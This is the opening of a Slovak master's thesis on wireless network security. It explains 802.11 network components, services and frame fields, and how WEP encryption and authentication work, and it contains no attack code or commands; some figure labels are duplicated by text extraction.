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ABSTRAKT
Diplomová práce se zaobírá analýzou bezpečnosti bezdrátových sítí. Jsou zde popsány
jednotlivé bezpečnostní metody šifrování WEP, TKIP a CCMP. Dále byly realizovány
útoky vůči bezdrátové síti, byla analyzována slabá místa v zabezpečení a diskutovalo se
o možných obranných mechanizmech. Součástí práce byla také analýza místního zabez-
pečení v jistých oblastech a zhodnocení jejích zabezpečení.
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ABSTRACT
This master’s thesis deals with analysis of security in wireless networks. There are desc-
ribed various methods of security systems, such as WEP, TKIP and CCMP. There is
also realization of attacks against the wireless network and there is analysis of security
weaknesses. Then there are discussed possible defense mechanisms. Part of this work
was also analysis of local security in certain areas and evaluation of their security.
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ÚVOD
V súčasnej dobe sa bezdrôtové siete stávajú čoraz populárnejšími i v domácnostiach
a nielen vo firmách. Veľký podiel na tom má výrazné zníženie cien bežných note-
bookov a netbookov, ktoré sa kvôli ich nízkym cenám a malým rozmerom stávajú
čoraz obľúbenejšími. Tieto zariadenia už majú väčšinou v sebe zabudované miniPCI
WiFi karty. Hlavnou výhodou bezdrôtového spojenia je práve mobilita, môžeme sa
pohybovať v oblasti pokrytia a byť stále pripojený. Veľkou výhodou je možnosť
pokryť oblasti, ktoré bežným káblom nie je možné pokryť. Takéto bezdrôtové pripo-
jenie pomocou štandardu WiFi alebo protokolom 802.11 je realizované cez vzdušný
priestor ako všesmerové rádiové vysielanie. Čo znamená, že ktokoľvek s vhodným
vybavením môže takéto spojenie zachytiť. Bežný používateľ si toto nie vždy uve-
domí. Pri nesprávnej konfigurácii môže prísť k úniku citlivých dát. Čo je jedným
z hlavných dôvodov, prečo je potrebné dbať na dôkladné zabezpečenie tejto tech-
nológie. Útočník môže odpočúvať v monitorovacom móde komunikáciu v sieti alebo
sa môže dostať do intranetu, ktorý je povolený len pre oprávnené osoby a získať
tak cenné informácie. Bezdrôtová sieť sa takto ľahko môže stať vstupnou bránou do
metalickej alebo optickej siete a následne môžu byť dáta nachádzajúce sa v danej
sieti v ohrození. Nasledujúce pasáže sa budú zaoberať práve s touto problematikou.
Ako jednotlivé zabezpečovacie mechanizmy pracujú. Ako ich obísť a ako sa brániť
proti takýmto útokom.
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1 PREHĽAD SIETÍ 802.11
1.1 Základné komponenty siete 802.11
1.1.1 Stanica
Siete sú vytvorené za účelom prenosu dát medzi stanicami. Stanice sú komunikačné
zariadenia s rozhraním pre bezdrôtovú sieť. Väčšinou sú stanicami notebooky alebo
vreckové počítače, ktoré sú napájané batériou. Avšak stanice nie sú limitované iba
na mobilné, môžu byť tiež statické.
1.1.2 Prístupový bod
Rámce siete 802.11 sa musia previesť na iné rámce, aby ich bolo možné doručiť ďalej
do sveta. AP (Prístupový bod – Access Point) spĺňa funkciu premostenia bezdrôtovej
technológie na drôtovú. AP vykonáva viac funkcií, ale jedna z jeho najvýznamnejších
je práve premosťovanie.
1.1.3 Bezdrôtové médium
Na prenos rámcov z jednej stanice do druhej používa štandard 802.11 bezdrôtové
médium. Definovaných je niekoľko fyzických vrstiev, samotná architektúra MAC
802.11 podporuje rozšírenie o ďalšie nové fyzické vrstvy. Pôvodne boli štandardizo-
vané dve rádiofrekvenčné fyzické vrstvy a jedna infračervená fyzická vrstva, avšak
rádiofrekvenčná vrstva sa stala populárnejšou.
1.1.4 Distribučný systém
Keď niekoľko AP pokrýva veľkú plochu, tak medzi sebou musia navzájom komuni-
kovať, aby mohli sledovať pohyb mobilných staníc. Distribučný systém je logickou
súčasťou 802.11, ktorý preposiela rámce do ich cieľa. Štandard 802.11 nešpecifi-
kuje žiadnu konkrétnu technológiu pre distribučné systémy. V komerčnej sfére je
distribučný systém implementovaný ako kombinácia mostu a média distribučného
systému, napojeného na chrbticovú sieť. Táto chrbticová sieť slúži na prenos rámcov
medzi AP. Často sa používa technológia Ethernetu pre chrbticovú sieť.
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1.2 Topológie
Základným stavebným prvkom siete 802.11 je BSS (Základný súbor služieb – Ba-
sic Service Set). Tvorí ju skupina staníc, ktoré medzi sebou navzájom komunikujú.
Komunikácia prebieha v rámci určitej oblasti BSS. Bezdrôtové siete môžeme nasta-
viť dvomi základnými spôsobmi. V jednom prípade sa stanice prepájajú navzájom
(IBSS), v druhom sa pripájajú k centrálnemu AP (BSS/ESS).
1.2.1 IBSS
Stanice v IBSS komunikujú priamo medzi sebou v režime peer-to-peer a preto musia
byť v komunikačnom dosahu. Zvyčajne sa siete IBSS skladajú z malého množstva
staníc pre špecifický účel a na krátku dobu. Príkladom takejto siete môže byť porada
v konferenčnej miestnosti, kde sa na začiatku porady vytvorí sieť IBSS na zdieľanie
dát. Tieto siete sa nazývajú aj ad-hoc siete.
1.2.2 Infraštruktúrne siete
V tejto sieti sa na komunikáciu používa AP1. Ak jedna mobilná stanica potrebuje
komunikovať s druhou stanicou, tak komunikácia musí pozostávať z dvoch „skokovÿ.
Jedna stanica, ktorá chce komunikovať s tou druhou pošle rámec AP a následne AP
odošle rámec cieľovej stanici.
1.2.3 ESS
BSS dokáže pokryť malé kancelárie a domácnosti, ale nedokáže pokryť väčšie pries-
tory. Štandard 802.11 umožňuje spojením niekoľkých BSS do ESS (Rozšírený súbor
služieb – Extended Service Set) vytvoriť bezdrôtové siete ľubovoľnej veľkosti. ESS
je vytvorená z niekoľkých spojených BSS prepojených s chrbticovou sieťou. Každý
AP v ESS má priradený SSID (Identifikátor služby– Service Set Identifier), ktorý
slúži ako „menoÿ siete pre užívateľov.
1AP sa používa, aj keď mobilné stanice komunikujú medzi sebou v rámci rovnakej oblasti BSS.
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1.3 Služby siete
1.3.1 Distribúcia
Mobilné stanice používajú túto službu pri každom posielaní dát. Keď je rámec prijatý
AP, tak pomocou distribučnej služby dopraví tento rámec do svojho cieľa. Akákoľvek
komunikácia, ktorá používa AP, putuje cez distribučnú službu. Sem patrí i prípad,
keď komunikujú dve mobilné stanice asociované u rovnakého AP.
1.3.2 Integrácia
Integrácia je služba poskytovaná distribučným systém, ktorá povoľuje pripojenie dis-
tribučného systému do inej siete ako je 802.11. Pokiaľ služba zistí, že cieľ je umiest-
nený mimo bezdrôtovej siete, tak sa rámec odošle bráne, ktorá sa už postará o ďalšie
smerovanie až k cieľu. Integračná funkcia je špecifikovaná pre použitý distribučný
systém, a preto nie je špecifikovaná 802.11, okrem služieb, ktoré musí poskytovať.
1.3.3 Asociácia
Posielanie rámcov mobilným staniciam je možné, pretože sú mobilné stanice re-
gistrované alebo asociované s AP. Distribučný systém môže následne použiť tieto
registračné informácie a zistiť, ktorý AP má použiť pre ktorú mobilnú stanicu. Ne-
asociované stanice nie sú súčasťou siete podobne ako stanice, ktoré majú odpojený
Ethernetový kábel. Pri robustných bezpečnostných protokoloch asociácia predchá-
dza autentizácii. Pred dokončením autentizácie AP zakáže všetky sieťové protokoly
od mobilnej stanice.
1.3.4 Reasociácia
Keď sa mobilná stanica pohybuje v priestore, kde sa nachádzajú dva AP, musí vy-
hodnotiť silu signálu a prípadne sa prepnúť na druhý AP. Reasociácia je zahájená
mobilnými stanicami, keď úroveň signálu dáva najavo, že by bola vhodná iná asociá-
cia. O tomto stave AP nikdy neinformujú mobilné stanice. Po dokončení reasociácie
distribučný systém aktualizuje jeho miestne záznamy, aby zaznamenal prístupnosť
mobilnej stanice cez iný AP.
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1.3.5 Deasociácia
Pre ukončenie existujúcej asociácie môže stanica použiť deasociačnú službu. Keď
stanica použije deasociačnú službu, všetky mobilné dáta uchované v distribučnom
systému sa zmažú. Keď je deasociácia dokončená, stanica je odpojená od siete. Pri
vypínaní stanice sa používa deasociácia ako korektný spôsob ukončenia spojenia
so sieťou. Avšak MAC je navrhnutý tak, aby vyhovel aj staniciam, ktoré opúšťajú
sieť bez formálnej deasociácie.
1.3.6 Autentizácia
V káblových LAN sú zvyčajne pripojovacie sieťové prvky fyzicky chránené pred
neoprávneným použitím. Bezdrôtové siete takýto druh fyzického zabezpečenia ne-
umožňujú, preto musia používať doplnkovú autentizáciu. A tak užívatelia, ktorý sa
chcú pripojiť do siete musia byť predtým autorizovaný. Autentizácia je nevyhnut-
ným predpokladom asociácie, pretože iba autentizovaní užívatelia sú autorizovaní
používať sieť. Autentizácia môže prebiehať počas pripojenia k bezdrôtovej sieti nie-
koľkokrát. Pred asociáciou stanica vykoná základnú výmenu s AP, ktorá pozostáva
na výmene ich MAC adries. Táto výmena sa často nazýva ako „autentizácia 802.11ÿ,
ktorá je oddelená od rôznych robustných kryptografických užívateľských autentizá-
cii, ktoré často nasledujú po nej.
1.3.7 Deautentizácia
Deautentizácia ukončuje autentizačnú reláciu, pretože autentizácia je potrebná ešte
predtým, ako je používanie siete oprávnené. Vedľajším efektom deautentizácie je
ukončenie súčasnej asociácie. V robustnejšej zabezpečenej sieti, deautentizácia tiež
vymaže záznam o kľúčových informáciách.
1.3.8 Dôvernosť
V káblovej sieti LAN vďaka silnej fyzickej kontrole dokáže sieť odolať veľkému počtu
útokov na súkromie dát. Pokiaľ by útočníci chceli danú sieť odpočúvať museli by
získať fyzický prístup k sieťovému médiu. U bezdrôtových sietí stačí k fyzickému
prístupu použiť správnu anténu a modulačné metódy. V pôvodnom štandarde 802.11
sa dôvernosť označovala ako súkromie a poskytovala dnes už zdiskreditovaný WEP
protokol. Okrem nových šifrovacích systémov, 802.11i rozširuje službu dôvernosti
o užívateľskú autentizáciu a služby správy kľúča. V týchto ohľadoch WEP zlyháva.
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1.3.9 MSDU
Samotná sieť bez schopnosti doručiť dáta pre príjemcu je nepoužiteľná. Stanice po-
skytujú dátovú doručovaciu službu MSDU (Služba doručovania dát – MAC Service
Data Unit), ktorá má na starosti práve doručenie dát k príjemcovi.
1.3.10 Kontrola vysielacieho výkonu
Táto služba je definovaná v štandarde 802.11h. Európske štandardy pre 5GHz pásmo
vyžadujú, aby stanice kontrolovali vysielací výkon a tým zabránili rušeniu s os-
tatnými zariadeniami používajúcimi 5GHz pásmo. Kontrola vysielacieho výkonu
tiež zabraňuje vzájomnému rušeniu ostatných bezdrôtových sietí. Dosah je priamo
úmerný výkonu, nastavenie vyššieho vysielacieho výkonu môže mať za následok to,
že vzdialenejší klient bude rušený susednou sieťou. Kontrolou úrovne vysielacieho
výkonu sa znižuje pravdepodobnosť, že stanica bude rušená susednými stanicami.
1.3.11 Výber dynamickej frekvencie
Niektoré radary pracujú v pásme 5 GHz. Následkom toho niektoré regulačné or-
gány rozhodli, že bezdrôtové siete musia detekovať radarové systémy a následne sa
presunúť do frekvencií, ktoré nepoužíva radar. Niektoré regulačné orgány tiež po-
žadujú jednotné využitie 5GHz pásma pre bezdrôtové siete, preto tieto siete musia
umožňovať premapovanie kanálov, aby bolo použitie vyrovnané.
1.4 Služby stanice
Služby stanice sú poskytované mobilnými stanicami a bezdrôtovým rozhraním na
AP. Stanice poskytujú služby doručovania rámcov, ktoré umožňujú posielanie správ.
Avšak k používaniu takýchto služieb môžu stanice potrebovať služby autentizá-
cie k vytvoreniu asociácie. Stanice môžu využívať výhody dôvernosti a tak chrániť
správy, ktoré prechádzajú cez zraniteľné bezdrôtové spojenie.
1.5 Služby distribučných systémov
Služby distribučného systému prepájajú AP do distribučného systému. Hlavnou úlo-
hou AP je rozšírenie služieb káblovej siete na bezdrôtovú sieť, čo je realizovateľné
pomocou distribučných a integračných služieb. Jedným z hlavných úloh distribuč-
ného systému je riadenie asociácií mobilnej stanice. Distribučný systém poskytuje
služby asociácie, reasociácie a deasociácie k udržiavaniu asociačných dát a informácií
o polohe stanice.
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2 ZÁKLADY MAC 802.11
Kľúčom k špecifikácii štandardu 802.11 je MAC. Dokáže pracovať na každej fyzickej
vrstve a riadi prenos užívateľských dát vo vzduchu. Poskytuje základné operácie
s rámcami a vzájomnú výmenu s káblovou chrbticovou sieťou. Rôzne fyzické vrstvy
poskytujú rôzne prenosové rýchlosti.
Štandard 802.11 sa až tak nelíši od iných IEEE 802 štandardov. Ako i Ethernet,
tak i štandard 802.11 používa CSMA (Prístupová metóda založená na odposluchu
nosnej – Carrier Sense Multiple Access) na riadenie prístupu k prenosovému médiu.
Avšak Ethernet používa CSMA/CD (Prístupová metóda založená na odposluchu
nosnej s detekciou kolízie – Carrier Sense Multiple Access with Collision Detection)
a štandard 802.11 používa CSMA/CA (Prístupová metóda založená na odposlu-
chu nosnej s vyhýbaním sa kolízie – Carrier Sense Multiple Access with Collision
Avoidance).
2.1 Formát rámca
Na obr. 2.1 je zobrazená štruktúra MAC rámca 802.11.
Riadenie
rámca
Riadenie
rámca Doba trvaniaID
Doba trvania
ID Adresa 1Adresa 1 Adresa 2Adresa 2 Adresa 3Adresa 3 Sekvenčnériadenie
Sekvenčné
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 2 B       2 B    6 B 6 B   6 B    2 B    6 B    0-2312 B     4 B
Adresa 4Adresa 4 Telorámca
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rámca FCSFCS
Obr. 2.1: Rámec 802.11
2.1.1 Riadenie rámca
Rámce začínajú dvoma bajtami, ktoré sú rezervované pre riadenie rámca. Na obr. 2.2
je zobrazená štruktúra pola riadiaceho rámca.
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Obr. 2.2: Štruktúra pola riadiaceho rámca
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Protokol
Prvé dva bity označujú, že akú verziu MAC 802.11 obsahuje zvyšok rámca. V súčas-
nosti bola vyvinutá iba jedna verzia protokolu MAC 802.11, ktorému bolo pridelené
protokolové číslo 0.
Polia typu a podtypu
Polia typu a podtypu označujú typ použitého rámca.
Bity do siete a z distribučnej siete (To DS a From DS)
Tieto bity naznačujú, či je rámec určený pre DS (Distribučný systém – Distribution
System). Všetky rámce v sieťovej infraštruktúre budú mať nastavený jeden z bitov
distribučného systému. V tab. 2.1.1 môžeme vidieť kombinácie bitov distribučného
systému.
ToDS FromDS Popis
0 0 Všetky riadiace a kontrolné rámce dát rámcov v rámci IBSS
(nikdy nie dáta rámcov infraštruktúry)
0 1 Dáta rámcov prijatých bezdrôtovou stanicou v infraštruktúrnej sieti
1 0 Dáta rámcov vysielaných od bezdrôtovej stanice do infraštruktúrnej siete
1 1 Dáta rámcov posielaných medzi AP
Tab. 2.1: Kombinácie bitov ToDS a FromDS
Bit viacerých fragmentov
Ak bol paket vyššej úrovne fragmentovaný s MAC, tak počiatočný fragment a každý
nasledujúci nefinálny fragment nastaví tento bit do jednotky.
Bit opakovania
Pri akomkoľvek opakovanom poslaní rámcov sa nastaví tento bit do jednotky, tým
sa zjednoduší eliminácia duplicitných rámcov pre prijímaciu stanicu.
Bit riadiaceho výkonu
Tento bit naznačuje, či odosielateľ bude v úspornom režime po dokončení výmeny
aktuálneho rámca. Jednotkový bit naznačuje, že stanica sa prepne do úsporného
režimu a nulový bit naznačuje, že stanice bude aktívna. AP prevádzkuje niekoľko
dôležitých riadiacich funkcií a preto sa nemôže prepnúť do úsporného režimu, takže
tento bit tu bude stále nulový.
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Bit viacerých dát
AP môžu vyhovieť staniciam, ktoré sú v úspornom režime a to použitím zásobníka
rámcov. AP si nastaví tento bit, aby vedel, že aspoň jeden rámec je pripravený a
adresovaný pre stanicu, ktorá je v úspornom režime.
Bit chráneného rámca
Bezdrôtové vysielanie sa dá omnoho ľahšie zachytiť ako na drôtovej sieti. Ak je rámec
chránený bezpečnostnými protokolmi linkovej vrstvy, tak je tento bit nastavený na
jednotku.
Bit poradia
Rámce a fragmenty môžu byť poslané v určitom poradí na úkor ďalšieho spracovania
oboch vysielacích a prijímacích MAC. Keď sa doručujú rámce v presnom poradí, tak
sa tento bit nastaví do jednotky.
2.2 Pole doby trvania a identifikácie
Po poli riadenia rámca nasleduje pole doby trvania a identifikácie. Toto pole má
niekoľko použití a môže mať jednu z týchto troch podôb, ktoré sú zobrazené na
obr. 2.3.
 0    1    2     3    4    5     6    7    8    9    10  11   12  13   14  15
00
00
11 11
00 00 00 00 00 00 00 00 00 00 00 00 00
 0    1    2     3    4    5     6    7    8    9    10  11   12  13   14  15
 0    1    2     3    4    5     6    7    8    9    10  11   12  13   14  15
Doba trvania
(NAV)
Rámce CFP
Rámce 
PS-Poll
00 11
LSB MSB
LSB MSB
Obr. 2.3: Pole doby trvania a identifikácie
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2.2.1 Doba trvania, nastavenie NAV
Keď je pätnásty bit v nule, tak pole trvania a identifikácie slúži na nastavenie NAV
(Sieťový alokačný vektor – Network Allocation Vector). Táto hodnota reprezentuje
určitú dobu v mikrosekundách, počas ktorej médium predpokladá, že bude zanepráz-
dnené s práve prebiehajúcim vysielaním. Každá stanica musí monitorovať hlavičky
všetkých obdržaných rámcov a na ich základe nastaviť príslušný NAV. Akákoľvek
hodnota, ktorá presahuje dobu zaneprázdnenosti média, aktualizuje NAV a zablo-
kuje prístup k médiu pre dodatočný čas.
2.2.2 Rámce vysielané počas doby bez boja o médium
Počas doby bez boja o médium je štrnásty bit v nule a pätnásty bit v jednotke.
Všetky ostatné bity sú nulové, takže doba trvania a identifikácie bude mať hodnotu
32768. Táto hodnota je interpretovaná ako NAV. To umožňuje staniciam, ktoré
neobdržali riadiaci rámec Beacon1 aktualizovať NAV s dostatočne veľkou hodnotou,
aby sa vyhli rušeniu počas vysielacej doby bez boja o médium.
2.2.3 Rámce voľby úsporného režimu
Štrnásty a pätnásty bit je nastavený do jednotky v rámcoch PS-Poll (Voľba úspor-
ného režimu – Power Save Poll). Mobilné stanice môžu šetriť batériu vypnutím
antény. Stanice, ktoré sú v úspornom režime sa musia pravidelne zobúdzať. Aby sa
zamedzilo strate rámcov tak stanice, ktoré sa zobúdzajú z úsporného režimu odosie-
lajú PS-Poll rámec, aby získali rámce, ktoré sú uložené v zásobníku AP. Okrem tejto
žiadosti zobúdzajúce stanice pripoja aj AID (Asociačný identifikátor – Association
Identifier) BSS, z ktorého pochádzajú.[5]
2.3 Polia adries
Rámec 802.11 umožňuje obsahovať až štyri adresové polia. Adresové polia sú očíslo-
vané, pretože rôzne polia sa používajú pre rôzne účely, ktoré závisia na type rámca.
Prvé pole adresy sa používa pre prijímač, druhé pole adresy je pre vysielač a tretie
pole adresy pre filtrovanie prijímačom. Napríklad tretie pole adresy sa v infraštruk-
túrnej sieti používa prijímačom na zistenie, či daný rámec patrí do siete, v ktorej je
asociovaný.2
1Oznamuje dobu bez boja o médium.
2Štandard 802.11 špecifikuje, aby stanice ignorovali rámce, ktoré nemajú rovnakú BSSID, väč-
šina produktov nekorektne implementuje filtrovanie BSSID a prepustí tak každý prijatý rámec do
vyšších vrstiev protokolu.
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Adresy sú dlhé 48 bitov a môžu sa použiť pre rôzne účely. Ak je prvý poslaný
bit nulový, tak ide o unicast, adresa reprezentuje iba jednu stanicu. Ak je prvý bit
jednotkový, tak ide o multicast, adresa reprezentuje skupinu fyzických staníc. Ak sú
všetky bity nastavené na jednotku, tak ide o broadcast a rámec je odoslaný všetkým
staniciam, pripojeným k bezdrôtovému médiu.
2.3.1 Cieľová adresa
Cieľová adresa je 48bitový IEEE MAC identifikátor, ktorý predstavuje konečného
príjemcu.
2.3.2 Zdrojová adresa
Toto je 48bitový IEEE MAC identifikátor, ktorý označuje zdroj vysielania. Iba jedna
stanica môže byť zdrojom vysielaného rámca.
2.3.3 Adresa prijímača
Tento 48bitový IEEE MAC identifikátor označuje, ktorá bezdrôtová stanica by mala
spracovať daný rámec. Ak je to adresa bezdrôtovej stanice, tak adresa príjemcu je
cieľová adresa. Ak sú rámce určené pre uzol, ktorý je cez Ethernet napojený na
AP, príjemca bude bezdrôtové rozhranie AP a cieľová adresa môže byť smerovač
napojený na Ethernet.
2.3.4 Adresa vysielača
Toto je 48bitový IEEE MAC identifikátor, ktorý označuje bezdrôtové rozhranie,
ktoré vysielalo rámec na bezdrôtové médium. Vysielacia adresa sa používa iba pri
bezdrôtovom premosťovaní.
2.3.5 BSSID
V infraštruktúrovaných sietiach je BSSID (Základný identifikátor služby – Basic
Service Set Identifier) MAC adresou používanou bezdrôtovým rozhraním AP. IBSS
siete generujú náhodné BSSID s univerzálnym (lokálnym) bitom nastaveným do
jednotky, aby zabránili konfliktu s oficiálne pridelenými MAC adresami.
Počet použitých adresových polí závisí na type rámca. Väčšina dát rámcov pou-
žíva tri polia pre zdroj, cieľ a BSSID. Počet a usporiadanie adresových polí v dáto-
vom rámci závisí od toho ako rámec putuje vzhľadom na distribučný systém. Väčšina
prenosov používa tri adresy, čo je hlavným dôvodom prečo iba tri zo štyroch adries
naväzuje za sebou vo formáte rámca.
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2.4 Pole sekvenčnej kontroly
Toto 16bitové pole sa používa pre defragmentáciu a na zahadzovanie duplicitných
rámcov. Skladá sa zo 4bitového pola fragmentačného čísla a 12bitového pola sek-
venčného čísla, čo môžeme vidieť na obr. 2.4.
Riadenie
rámca
Riadenie
rámca Doba trvaniaID
Doba trvania
ID Adresa 1Adresa 1 Adresa 2Adresa 2 Adresa 3Adresa 3 Sekvenčnériadenie
Sekvenčné
riadenie
 2 B       2 B    6 B 6 B   6 B    2 B    6 B    0-2312 B      4 B
Adresa 4Adresa 4 Telorámca
Telo
rámca FCSFCS
Číslo fragmentuČíslo fragmentu Sekvenčné čísloSekvenčné číslo
 0    1    2     3    4    5     6    7    8    9    10  11   12  13   14  15
4 b     12 b
Obr. 2.4: Pole sekvenčnej kontroly
2.5 Telo rámca
Telo rámca sa tiež nazýva ako dátové pole, prenáša dáta z vyššej vrstvy od jednej
stanice do druhej. Pôvodná špecifikácia 802.11 dokáže vysielať dátové rámce s ma-
ximálnou veľkosťou 2304 bajtov. Avšak implementácia musí podporovať i väčšie
telové rámce, aby vyhovela ďalším hlavičkám pre bezpečnosť a QoS (Kvalita služby
– Quality of Service).
2.6 Kontrolný súčet rámca
Rámec 802.11 je ukončený FCS (Kontrolný súčet rámca – Frame Check Sequence),
ktorý sa tiež často nazýva ako CRC (Cyklický redundantný súčet – Cyclic Redun-
dancy Check). FCS umožňuje staniciam skontrolovať integritu prijatých rámcov.
Všetky polia MAC hlavičky a tela rámca sú zahrnuté v FCS. Aj keď 802.3 a 802.11
používa rovnakú metódu výpočtu FCS, hlavička MAC 802.11 je iná ako u 802.3,
takže FCS musí byť prepočítaný AP.
Keď sa posielajú rámce na bezdrôtové rozhranie, FCS sa vypočíta ešte pred
tým, ako sa tie rámce odošlú cez bezdrôtovú linku. Prijímače dokážu vypočítať FCS
z prijatého rámca a porovnať s prijatým FCS. Ak sa obidva súčty zhodujú, tak je
veľká pravdepodobnosť, že prijatý rámec nebol poškodený počas prenosu.
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3 WEP
3.1 Kryptografický úvod
Na ochranu dát používa WEP (Súkromie odpovedajúce drôtovým sietiam – Wired
Equivalent Privacy) symetrickú prúdovú šifru RC4. Prúdová šifra používa prúd bitov
na vytvorenie prúdového kľúča. Prúdový kľúč sa skombinuje so správou a vytvorí
sa šifrovaný text. Príjemca získa pôvodnú správu tým, že spracuje šifrovaný text
s identickým prúdovým kľúčom. RC4 používa operácie XOR v kombinácii s prú-
dovým kľúčom a so šifrovaným textom. Na obr. 3.1 môžeme vidieť priebeh tejto
operácie.
Väčšina prúdových šifier pracuje tak, že si zvolí relatívne krátky tajný kľúč a roz-
šíri ho do pseudonáhodného prúdového kľúča, ktorý má rovnakú veľkosť ako správa.
PRNG (Generátor pseudonáhodných čísel – Pseudorandom Number Generator) sa
používa na rozšírenie prúdového kľúča. Na obnovu dát je potrebné, aby obidve strany
zdieľali rovnaký tajný kľúč a používali rovnaký algoritmus na rozšírenie kľúča do
pseudonáhodnej postupnosti. Bezpečnosť prúdovej šifry závisí hlavne na náhodnosti
prúdovej šifry.[5]
Dáta
0
1
0
1
1
0
0
0
1
Prúdový 
klúč
1
1
1
0
0
1
0
1
0
Prúdová 
šifra
1
0
1
1
1
1
0
1
1
Prúdový 
klúč
1
1
1
0
0
1
0
1
0
Dáta
0
1
0
1
1
0
0
0
1
XOR XOR
zdroj cieľ
Obr. 3.1: Operácia prúdovej šifry
3.2 Spracovanie dát
Na obr. 3.2 môžeme vidieť ako WEP zaobchádza s dôvernosťou a integritou dát. Pred
tým než sa rámec zašifruje, prebehne algoritmom pre kontrolu integrity, ktorý vyge-
neruje haš ICV (Kontrolný súčet integrity – Integrity Check Value). Toto je dôležitá
operácia, ktorá umožňuje overiť integritu pôvodného rámce pred manipuláciou. Aby
ICV nebol prístupný možným útočníkom je zašifrovaný spolu s rámcom.
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WEP vyžaduje na vstupe:
• ochrániť dáta prichádzajúce z vyšších vrstiev.
• Tajný kľúč používaný pre šifrovanie rámcov. Na základe implementácie,
kľúčom môžu byť reťazce kľúčových bitov, alebo číselný kľúč. WEP umožňuje
uložiť súčasne štyri kľúče.
• Inicializačný vektor použitý súčasne s tajným kľúčom počas vysielania rámca.
Po spracovaní, má WEP jednoduchý výstup a to zašifrovaný rámec, ktorý je
pripravený na vysielanie cez nedôveryhodnú sieť s dostatočnými informáciami o de-
šifrovaní.
HlavičkaHlavička IVIV Číslokľúča
Číslo
kľúča DátaDáta ICVICV
RC4RC4
CRCCRC
HlavičkaHlavička DátaDáta
DátaDáta ICVICV IVIV Tajný kľúčTajný kľúč
32 b     24 b      40,104 alebo 128 b
0
1
2
3
Vstupný rámec IV Číslo kľúča
Dáta   RC4 kľúč
Zašifrované dáta + ICV
Obr. 3.2: Postup šifrovania WEP
3.2.1 Šifrovanie
WEP šifrovanie pozostáva z niekoľkých krokov:
1. Rámec 802.11, ktorý čaká vo fronte na vyslanie, pozostáva z hlavičky a z dát.
WEP chráni iba dáta 802.11 MAC a hlavičku ponecháva nedotknutú tak ako
iné nízkoúrovňové hlavičky.
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2. Vypočíta sa ICV pre dátovú časť rámca 802.11 MAC. Vo výpočte ICV nie
je použitý 802.11 FCS, pretože zatiaľ nebol vypočítaný. WEP k výpočtu ICV
používa algoritmus CRC.
3. Šifrovací kľúč rámca vznikne kombináciou tajného kľúča a IV (Inicializačný
vektor – Initialization vector). Prúdové šifry vytvoria rovnaký prúdový kľúč
z rovnakého kľúča, preto je potrebné použiť IV na vytvorenie rôznych prú-
dových šifier pre každý vysielaný rámec. Aby odosielajúca stanica obmedzila
šifrovanie s rovnakým prúdovým kľúčom pripojí IV k tajnému kľúču. Štandard
802.11 nijak neobmedzuje použitý algoritmus pre výber IV, niektoré výrobky
priraďujú IV postupne iné používajú pseudonáhodný hašovací algoritmus.
4. Šifrovací kľúč rámca sa použije ako RC4 kľúč, ktorým sa zašifrujú dáta 802.11
MAC a ICV.
5. Keď už je dátová časť rámca zašifrovaná, stanica môže poskladať celý rámec do
finálnej podoby na vysielanie. Hlavička 802.11 MAC je ponechaná v pôvodnom
tvare, hneď po nej je vložená hlavička WEP a nasleduje zašifrovaná dátová
časť rámca. Hlavička WEP obsahuje okrem IV aj číslo kľúča. WEP umožňuje
nastaviť až štyri kľúče, preto odosielateľ musí definovať, ktorý kľúč používa.
Keď je už hlavička vo finálnej podobe, môže sa vypočítať 802.11 FCS cez celý
MAC rámec od začiatku hlavičky až po koniec zašifrovaného ICV.[5]
3.2.2 Dešifrovanie
Dešifrovanie prebieha v opačnom smere. Tak ako pri akomkoľvek inom vysielaní,
najprv sa overí FCS, či sa daný rámec neporušil počas prenosu. Na dešifrovanie
chránenej časti rámca si prijímač zvolí svoj šifrovací kľúč, pripojí k nemu IV a
vygeneruje prúdový kľúč. Keď už má dešifrované dáta môže ich overiť s ICV. Ak je
integrita dát platná podľa ICV, paket môže byť odoslaný do vyššej vrstvy.
3.3 Dĺžka kľúča
Teoreticky WEP umožňuje použiť kľúče s akoukoľvek veľkosťou, pretože samotná
RC4 nevyžaduje žiadnu konkrétnu veľkosť kľúča. Avšak väčšina produktov imple-
mentuje jednu až dve veľkosti kľúčov. Jedna z nich je 64bitová a 128bitová verzia
WEP kľúča, z ktorých 24 bitov používa IV, ktorý sa prenáša v otvorenej forme.
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3.4 Zapuzdrenie
Na obr. 3.3 môžeme vidieť, že ak je použitý WEP, telo rámca sa zväčší o 8 bajtov.
Štyri bajty sú použité pre hlavičku IV a ďalšie štyri bajty používa ICV. Hlavička
IV používa 3 bajty pre 24bitový IV, kde sa štvrtý bajt používa pre výplň a identi-
fikátor kľúča. Pre výplň je rezervovaných 6 bitov, ktoré musia mať hodnotu 0. Pre
identifikátor kľúča sú rezervované posledné 2 bity hlavičky IV.
Hlavička
rámca
Hlavička
rámca IVIV VýplňVýplň IDkľúča
ID
kľúča Telorámca
Telo
rámca ICVICV FCSFCS
Hlavička IV
Obr. 3.3: Zapuzdrenie WEP
3.5 Autentizácia
WEP podporuje dva typy autentizácie:
1. Systém s otvorenou autentizáciou, ktorý nepoužíva žiadny autentizačný
algoritmus. Každá stanica sa môže autentizovať pokiaľ je AP nastavený na
tento typ autentizácie. Tento protokol pozostáva na žiadosti a potvrdení.
2. Autentizácia so zdieľaným kľúčom, ktorá umožňuje iba jednosmernú
autentizáciu. Stanica sa autentizuje s AP, ale AP sa nikdy neautentizuje
so stanicou. Iba tie stanice, ktoré poznajú tajný kľúč sa môžu úspešne
autentizovať s AP. Tento protokol používa 4cestné podanie rúk (handshake),
kde stanica začína autentizačný proces odoslaním žiadosti o autentizáciu.
Proces tejto autentizácie je naznačený na obr. 3.4.
StanicaStanica APAP
1: Autentifikačná žiadosť
2: Autentifikačná výzva
3: Autentifikačná odpoveď
4: Autentifikačný výsledok
Obr. 3.4: Proces autentizácie so zdieľaným kľúčom
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4 UŽÍVATEĽSKÁ AUTENTIZÁCIA 802.1X
4.1 EAP
802.1X je založená na EAP (Rozšíriteľný autentizačný protokol – Extensible Authen-
tication Protocol). Namiesto toho, aby EAP špecifikoval ako autentizovať užívate-
ľov, umožňuje vytvoriť vývojárom ich vlastné EAP metódy, protokoly vykonávajúce
autentizačnú výmenu. Základnú architektúru EAP zobrazuje obr. 4.1, ktorá je na-
vrhnutá tak, aby prechádzala akoukoľvek linkovou vrstvou a používala ľubovolný
počet autentizačných metód.
PPPPPP
EAPEAP
802.3802.3 802.11802.11
TLSTLS AKA/SIM
AKA/
SIM Tokencard
Token
card
Metódy
Linkové
vrstvy
Obr. 4.1: Architektúra EAP
